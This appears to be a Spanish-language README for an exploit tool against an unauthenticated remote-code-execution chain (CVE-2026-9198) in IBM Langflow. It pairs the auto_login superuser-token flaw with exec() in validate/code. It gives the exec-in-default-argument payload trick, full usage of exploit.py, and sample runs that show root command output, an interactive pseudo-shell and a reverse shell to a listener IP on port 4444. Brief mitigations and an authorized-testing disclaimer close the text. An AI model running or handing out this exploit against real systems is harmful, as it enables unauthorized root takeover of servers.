
Ejecución remota de código no autenticada en IBM Langflow OSS (1.0.0 – 1.10.0) en una implementación predeterminada. Encadena dos fallos:
GET /api/v1/auto_login emite un JWT SUPERUSER a cualquier
solicitante sin credenciales cuando AUTO_LOGIN está habilitado (el valor
predeterminado en Langflow < 1.5).POST /api/v1/validate/code pasa Python proporcionado por el
usuario a exec() sin sandbox.Juntos (CVE-2026-9198), un atacante no autenticado obtiene ejecución de código como el
usuario de servicio de Langflow — que con frecuencia es root.
Solicita un token de portador de superusuario a /api/v1/auto_login (sin autenticación).
Envía un payload a /api/v1/validate/code. El endpoint ejecuta exec() sobre el código para
"validarlo"; Python evalúa los valores de argumentos predeterminados en el momento de la definición, por lo
que el payload se envuelve en un argumento predeterminado de función:
def _v(a=exec('<payload>')): pass
Para la ejecución de comandos, el payload lanza una excepción cuyo mensaje es la
salida del comando, que el endpoint refleja en la respuesta
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install)AUTO_LOGIN esté habilitado (el valor predeterminado para Langflow < 1.5; en
>= 1.5 debe establecerse explícitamente LANGFLOW_AUTO_LOGIN=true). Si auto_login no devuelve
ningún token, el objetivo no es explotable por esta vía — proporciona un token válido con -k si tienes uno.function.errors[]; stderr se fusiona con
stdout, por lo que los comandos que fallan aún muestran su error.root (común con
langflow run directo bajo systemd o Docker como root), esto es root directo del host.validate/code no debe ejecutar exec()
sobre entradas no confiables y auto_login no debe emitir tokens de superusuario.LANGFLOW_AUTO_LOGIN=false y configura credenciales reales de superusuario.root.Este proyecto se publica únicamente con fines educativos y de pruebas de seguridad autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito para realizar pruebas. El autor no acepta responsabilidad alguna por el mal uso.